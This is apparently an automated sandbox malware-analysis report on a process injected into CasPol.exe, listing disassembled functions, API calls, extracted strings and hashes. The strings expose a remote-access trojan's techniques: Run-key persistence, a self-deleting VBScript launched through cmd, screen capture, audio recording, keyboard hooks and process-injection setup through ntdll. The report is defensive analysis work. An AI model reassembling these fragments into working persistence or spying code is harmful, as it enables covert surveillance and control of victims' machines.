                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 341ce5e44018b0d8febb5363e57dd776d1ec6df4a054cddc6676df713c6a7dda
                                                                                                                                                                                                  • Instruction ID: 5d22fc1bcc5d638cf6a4a0606be4d5c4d5bba199c703cf788a7f99cafe8d65e8
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 341ce5e44018b0d8febb5363e57dd776d1ec6df4a054cddc6676df713c6a7dda
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 12615871602718A6DA38592B88977BF2384EB2D344F94351BE483DB3C1D75EAD43871E
                                                                                                                                                                                                  Function 0043E11C Relevance: .2, Instructions: 214COMMONLIBRARYCODE
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 0cdc0b4430c882dd513f9aba2f942575131dd1f5e6007437ccc46010af73f7df
                                                                                                                                                                                                  • Instruction ID: 6c705508b021f12d90b9f9697341ee8142861c1d23b7247138392dbd6e0aa073
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 0cdc0b4430c882dd513f9aba2f942575131dd1f5e6007437ccc46010af73f7df
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 59517671603604A7EF3445AB85567BF63899B0E304F18395FE882C73C2C52DDE02875E
                                                                                                                                                                                                  Function 0043DEED Relevance: .2, Instructions: 214COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: e4e8e107ebb569481f6dec165aac6f3bea1aaf1a879556bc36ff33913e703c4a
                                                                                                                                                                                                  • Instruction ID: 84bf5d8b6cf777f915eff3509e2c27b9c7ae744ab127a35c194aadb47efed811
                                                                                                                                                                                                  • Opcode Fuzzy Hash: e4e8e107ebb569481f6dec165aac6f3bea1aaf1a879556bc36ff33913e703c4a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: E1517761E0660557DF38892A94D67BF23A59B4E308F18351FE483CB3C2C65EEE06835E
                                                                                                                                                                                                  Function 00427C40 Relevance: .2, Instructions: 187COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 5391bdb46e7b363b15ab8dfbfe7515acbec1a5683836347dd09947684361f79a
                                                                                                                                                                                                  • Instruction ID: d4d389248adab082d17fbdeb677dfbf93ddf16fcbb8c162b69e64d6cf0e33668
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5391bdb46e7b363b15ab8dfbfe7515acbec1a5683836347dd09947684361f79a
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 61615B72A083059BC308DF35E481A5FB7E4AFCC718F814E2EF595D6151EA74EA08CB86
                                                                                                                                                                                                  Function 004387F0 Relevance: .1, Instructions: 76COMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                  • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                                                                                                                                  • Instruction ID: 582e3a7babb983407823034c482dc4f24404013c153b7f4d28c3fef3b0c68a44
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 43113B7720034183D60CAA6DC4B45BBD795EADE320FBD627FF0414B744CA2AD4459508
                                                                                                                                                                                                  Function 00418EB1 Relevance: 51.1, APIs: 28, Strings: 1, Instructions: 328windowmemoryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateDCA.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00418ECB
                                                                                                                                                                                                  • CreateCompatibleDC.GDI32(00000000), ref: 00418ED8
                                                                                                                                                                                                    • Part of subcall function 00419360: EnumDisplaySettingsW.USER32(?,000000FF,?), ref: 00419390
                                                                                                                                                                                                  • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00418F4E
                                                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 00418F65
                                                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 00418F68
                                                                                                                                                                                                  • DeleteObject.GDI32(00000000), ref: 00418F6B
                                                                                                                                                                                                  • SelectObject.GDI32(00000000,00000000), ref: 00418F8C
                                                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 00418F9D
                                                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 00418FA0
                                                                                                                                                                                                  • StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00418FC4
                                                                                                                                                                                                  • GetCursorInfo.USER32(?), ref: 00418FE2
                                                                                                                                                                                                  • GetIconInfo.USER32 ref: 00418FF8
                                                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 00419027
                                                                                                                                                                                                  • DeleteObject.GDI32(?), ref: 00419034
                                                                                                                                                                                                  • DrawIcon.USER32(00000000,?,?,?), ref: 00419041
                                                                                                                                                                                                  • BitBlt.GDI32(00000000,00000000,00000000,?,?,?,00000000,00000000,00660046), ref: 00419077
                                                                                                                                                                                                  • GetObjectA.GDI32(00000000,00000018,?), ref: 004190A3
                                                                                                                                                                                                  • LocalAlloc.KERNEL32(00000040,00000001), ref: 00419110
                                                                                                                                                                                                  • GlobalAlloc.KERNEL32(00000000,?), ref: 0041917F
                                                                                                                                                                                                  • GetDIBits.GDI32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 004191A3
                                                                                                                                                                                                  • DeleteDC.GDI32(?), ref: 004191B7
                                                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 004191BA
                                                                                                                                                                                                  • DeleteObject.GDI32(00000000), ref: 004191BD
                                                                                                                                                                                                  • GlobalFree.KERNEL32(?), ref: 004191C8
                                                                                                                                                                                                  • DeleteObject.GDI32(00000000), ref: 0041927C
                                                                                                                                                                                                  • GlobalFree.KERNEL32(?), ref: 00419283
                                                                                                                                                                                                  • DeleteDC.GDI32(?), ref: 00419293
                                                                                                                                                                                                  • DeleteDC.GDI32(00000000), ref: 0041929E
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Delete$Object$CreateGlobal$AllocCompatibleFreeIconInfo$BitmapBitsCursorDisplayDrawEnumLocalSelectSettingsStretch
                                                                                                                                                                                                  • String ID: DISPLAY
                                                                                                                                                                                                  • API String ID: 4256916514-865373369
                                                                                                                                                                                                  • Opcode ID: dfe77fb2dceb0fbb205aabf54f767b908c25502d30906bbb63463b6629d02dd1
                                                                                                                                                                                                  • Instruction ID: e1b8f987aa81746083de8242de432fb1856ba331ec6d7e725e66c1191a76d441
                                                                                                                                                                                                  • Opcode Fuzzy Hash: dfe77fb2dceb0fbb205aabf54f767b908c25502d30906bbb63463b6629d02dd1
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 64C14C71504301AFD720DF25DC48BABBBE9EB88715F04482EF98993291DB34ED45CB6A
                                                                                                                                                                                                  Function 0040D45B Relevance: 45.8, APIs: 6, Strings: 20, Instructions: 282registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041288B: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F903), ref: 0041289B
                                                                                                                                                                                                    • Part of subcall function 0041288B: WaitForSingleObject.KERNEL32(000000FF), ref: 004128AE
                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040D558
                                                                                                                                                                                                  • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D56B
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(?,00000080,?,?,00000000), ref: 0040D584
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,00000000), ref: 0040D5B4
                                                                                                                                                                                                    • Part of subcall function 0040B8E7: TerminateThread.KERNEL32(0040A2B8,00000000,004752F0,pth_unenc,0040D0F3,004752D8,004752F0,?,pth_unenc), ref: 0040B8F6
                                                                                                                                                                                                    • Part of subcall function 0040B8E7: UnhookWindowsHookEx.USER32 ref: 0040B902
                                                                                                                                                                                                    • Part of subcall function 0040B8E7: TerminateThread.KERNEL32(Function_0000A2A2,00000000,?,pth_unenc), ref: 0040B910
                                                                                                                                                                                                    • Part of subcall function 0041C482: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C4C1
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00466478,00466478,00000000), ref: 0040D7FF
                                                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040D80B
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$Terminate$AttributesProcessThread$CreateDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                                                                                                                                  • String ID: """, 0$")$8SG$@qF$@qF$CreateObject("WScript.Shell").Run "cmd /c ""$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$\update.vbs$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$wend$while fso.FileExists("
                                                                                                                                                                                                  • API String ID: 1861856835-1447701601
                                                                                                                                                                                                  • Opcode ID: c387b7dafddf3b2d58caf8326c60b81b9bbd85696fc11ee7a03e037593444f8e
                                                                                                                                                                                                  • Instruction ID: 9f807323933333198641953f201c1fc8368d74e19fdabe041c5449f7db564f80
                                                                                                                                                                                                  • Opcode Fuzzy Hash: c387b7dafddf3b2d58caf8326c60b81b9bbd85696fc11ee7a03e037593444f8e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 8791B0716082005AC315FB62D8529AF77A8AFD4309F10443FB64AA71E3EF7C9D49C65E
                                                                                                                                                                                                  Function 0040D0D1 Relevance: 42.3, APIs: 6, Strings: 18, Instructions: 260registryCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                    • Part of subcall function 0041288B: TerminateProcess.KERNEL32(00000000,pth_unenc,0040F903), ref: 0041289B
                                                                                                                                                                                                    • Part of subcall function 0041288B: WaitForSingleObject.KERNEL32(000000FF), ref: 004128AE
                                                                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000208,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D1E0
                                                                                                                                                                                                  • RegDeleteKeyA.ADVAPI32(80000001,00000000), ref: 0040D1F3
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(00000000,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D223
                                                                                                                                                                                                  • SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,004752F0,?,pth_unenc), ref: 0040D232
                                                                                                                                                                                                    • Part of subcall function 0040B8E7: TerminateThread.KERNEL32(0040A2B8,00000000,004752F0,pth_unenc,0040D0F3,004752D8,004752F0,?,pth_unenc), ref: 0040B8F6
                                                                                                                                                                                                    • Part of subcall function 0040B8E7: UnhookWindowsHookEx.USER32 ref: 0040B902
                                                                                                                                                                                                    • Part of subcall function 0040B8E7: TerminateThread.KERNEL32(Function_0000A2A2,00000000,?,pth_unenc), ref: 0040B910
                                                                                                                                                                                                    • Part of subcall function 0041BA09: GetCurrentProcessId.KERNEL32(00000000,7570D4DF,00000000,?,?,?,?,00466478,0040D248,.vbs,?,?,?,?,?,004752F0), ref: 0041BA30
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,00000000,00466478,00466478,00000000), ref: 0040D44D
                                                                                                                                                                                                  • ExitProcess.KERNEL32 ref: 0040D454
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: FileProcessTerminate$AttributesThread$CurrentDeleteExecuteExitHookModuleNameObjectShellSingleUnhookWaitWindows
                                                                                                                                                                                                  • String ID: ")$.vbs$8SG$On Error Resume Next$Set fso = CreateObject("Scripting.FileSystemObject")$Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$Temp$dMG$exepath$fso.DeleteFile "$fso.DeleteFile(Wscript.ScriptFullName)$fso.DeleteFolder "$open$pth_unenc$wend$while fso.FileExists("$xpF
                                                                                                                                                                                                  • API String ID: 3797177996-2483056239
                                                                                                                                                                                                  • Opcode ID: d0ff4f28306cc727fb92368d678240cc709023f342a2615e64061a0d1e4f0c49
                                                                                                                                                                                                  • Instruction ID: f7f00373e35faeae073ffedb9d5543756e5675edee5c5b567d0d61755fae189b
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d0ff4f28306cc727fb92368d678240cc709023f342a2615e64061a0d1e4f0c49
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6181AF716082405AC315FB62D8529AF77A8AFD0308F10483FB58A671E3EF7C9E49C65E
                                                                                                                                                                                                  Function 004124B0 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 190synchronizationsleepfileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateMutexA.KERNEL32(00000000,00000001,00000000,00000000,004750E4,00000003), ref: 004124CF
                                                                                                                                                                                                  • ExitProcess.KERNEL32(00000000), ref: 004124DB
                                                                                                                                                                                                  • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00412555
                                                                                                                                                                                                  • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 00412564
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0041256F
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 00412576
                                                                                                                                                                                                  • GetCurrentProcessId.KERNEL32 ref: 0041257C
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(?), ref: 004125AD
                                                                                                                                                                                                  • GetTempPathW.KERNEL32(00000104,?), ref: 00412610
                                                                                                                                                                                                  • GetTempFileNameW.KERNEL32(?,temp_,00000000,?), ref: 0041262A
                                                                                                                                                                                                  • lstrcatW.KERNEL32(?,.exe), ref: 0041263C
                                                                                                                                                                                                    • Part of subcall function 0041C482: CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0041C4C1
                                                                                                                                                                                                  • ShellExecuteW.SHELL32(00000000,open,?,00000000,00000000,00000001), ref: 0041267C
                                                                                                                                                                                                  • Sleep.KERNEL32(000001F4), ref: 004126BD
                                                                                                                                                                                                  • OpenProcess.KERNEL32(00100000,00000000,00000000), ref: 004126D2
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004126DD
                                                                                                                                                                                                  • CloseHandle.KERNEL32(00000000), ref: 004126E4
                                                                                                                                                                                                  • GetCurrentProcessId.KERNEL32 ref: 004126EA
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: Process$File$Create$CloseCurrentHandleObjectOpenPathSingleTempWait$ExecuteExistsExitMutexNameShellSleeplstrcat
                                                                                                                                                                                                  • String ID: .exe$8SG$WDH$exepath$open$temp_
                                                                                                                                                                                                  • API String ID: 2649220323-436679193
                                                                                                                                                                                                  • Opcode ID: 1b3fed83da2aab5ae681b9012af93f6771012d14136d86493a6b51ff35766dc4
                                                                                                                                                                                                  • Instruction ID: ea0e71dbd1735df2f0ffa6a76a18ae54bfb239dee3d1740714ca762960b89f4c
                                                                                                                                                                                                  • Opcode Fuzzy Hash: 1b3fed83da2aab5ae681b9012af93f6771012d14136d86493a6b51ff35766dc4
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4C51C871A00215BBDB10ABA09C99EFE336D9B04715F1041ABF501E71D2EF7C8E858A5D
                                                                                                                                                                                                  Function 0041B0D8 Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 180synchronizationCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • mciSendStringW.WINMM(00000000,00000000,00000000,00000000), ref: 0041B1CD
                                                                                                                                                                                                  • mciSendStringA.WINMM(play audio,00000000,00000000,00000000), ref: 0041B1E1
                                                                                                                                                                                                  • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,000000A9,004660B4), ref: 0041B209
                                                                                                                                                                                                  • PathFileExistsW.SHLWAPI(00000000), ref: 0041B21F
                                                                                                                                                                                                  • mciSendStringA.WINMM(pause audio,00000000,00000000,00000000), ref: 0041B260
                                                                                                                                                                                                  • mciSendStringA.WINMM(resume audio,00000000,00000000,00000000), ref: 0041B278
                                                                                                                                                                                                  • mciSendStringA.WINMM(status audio mode,?,00000014,00000000), ref: 0041B28D
                                                                                                                                                                                                  • SetEvent.KERNEL32 ref: 0041B2AA
                                                                                                                                                                                                  • WaitForSingleObject.KERNEL32(000001F4), ref: 0041B2BB
                                                                                                                                                                                                  • CloseHandle.KERNEL32 ref: 0041B2CB
                                                                                                                                                                                                  • mciSendStringA.WINMM(stop audio,00000000,00000000,00000000), ref: 0041B2ED
                                                                                                                                                                                                  • mciSendStringA.WINMM(close audio,00000000,00000000,00000000), ref: 0041B2F7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: SendString$Event$CloseCreateExistsFileHandleObjectPathSingleWait
                                                                                                                                                                                                  • String ID: alias audio$" type $close audio$open "$pause audio$play audio$resume audio$status audio mode$stop audio$stopped$NG
                                                                                                                                                                                                  • API String ID: 738084811-2094122233
                                                                                                                                                                                                  • Opcode ID: d2db031e3b1df8eedd793174f912beb473d8d97f533f0dd4154628810b81d940
                                                                                                                                                                                                  • Instruction ID: 904a2ea9ee052b7cd0d2885f28b370526ea16529c5f4723dacad6ab52bd59ce6
                                                                                                                                                                                                  • Opcode Fuzzy Hash: d2db031e3b1df8eedd793174f912beb473d8d97f533f0dd4154628810b81d940
                                                                                                                                                                                                  • Instruction Fuzzy Hash: 015193B12842056ED314B731DC96ABF779CDB80359F10053FB246621E2EF789D498AAE
                                                                                                                                                                                                  Function 00401A6D Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 156fileCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • CreateFileW.KERNEL32(00000000,40000000,00000000), ref: 00401AD9
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,RIFF,00000004,?,00000000), ref: 00401B03
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00000000,00000004,00000000,00000000), ref: 00401B13
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,WAVE,00000004,00000000,00000000), ref: 00401B23
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,fmt ,00000004,00000000,00000000), ref: 00401B33
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401B43
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B54
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00472AAA,00000002,00000000,00000000), ref: 00401B65
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00472AAC,00000004,00000000,00000000), ref: 00401B75
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00000001,00000004,00000000,00000000), ref: 00401B85
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000002,00000000,00000000), ref: 00401B96
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,00472AB6,00000002,00000000,00000000), ref: 00401BA7
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,data,00000004,00000000,00000000), ref: 00401BB7
                                                                                                                                                                                                  • WriteFile.KERNEL32(00000000,?,00000004,00000000,00000000), ref: 00401BC7
                                                                                                                                                                                                  Strings
                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                  • Source File: 0000001A.00000002.655164569.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  • Associated: 0000001A.00000002.655164569.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                  • Snapshot File: hcaresult_26_2_400000_CasPol.jbxd
                                                                                                                                                                                                  Yara matches
                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                  • API ID: File$Write$Create
                                                                                                                                                                                                  • String ID: RIFF$WAVE$data$fmt
                                                                                                                                                                                                  • API String ID: 1602526932-4212202414
                                                                                                                                                                                                  • Opcode ID: bdde9fe629d6d0b3cb01441b1d036ed99aff71c5e0b2c5a0236a53ffdd76988e
                                                                                                                                                                                                  • Instruction ID: e437df56db769974f3bb03b9acf3047b6271bea3308615ff466a61b001f8e6b8
                                                                                                                                                                                                  • Opcode Fuzzy Hash: bdde9fe629d6d0b3cb01441b1d036ed99aff71c5e0b2c5a0236a53ffdd76988e
                                                                                                                                                                                                  • Instruction Fuzzy Hash: D1413F72644218BAE210DB51DD85FBB7FECEB89B50F40441AFA44D60C0E7A5E909DBB3
                                                                                                                                                                                                  Function 004072AB Relevance: 35.1, APIs: 12, Strings: 8, Instructions: 62libraryloaderCOMMON
                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                  APIs
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,RtlInitUnicodeString,00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000001,00407688,C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe,00000003,004076B0,004752D8,00407709), ref: 004072BF
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004072C8
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,NtAllocateVirtualMemory), ref: 004072DD
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004072E0
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,NtFreeVirtualMemory), ref: 004072F1
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 004072F4
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,RtlAcquirePebLock), ref: 00407305
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 00407308
                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(ntdll.dll,RtlReleasePebLock), ref: 00407319
                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 0040731C
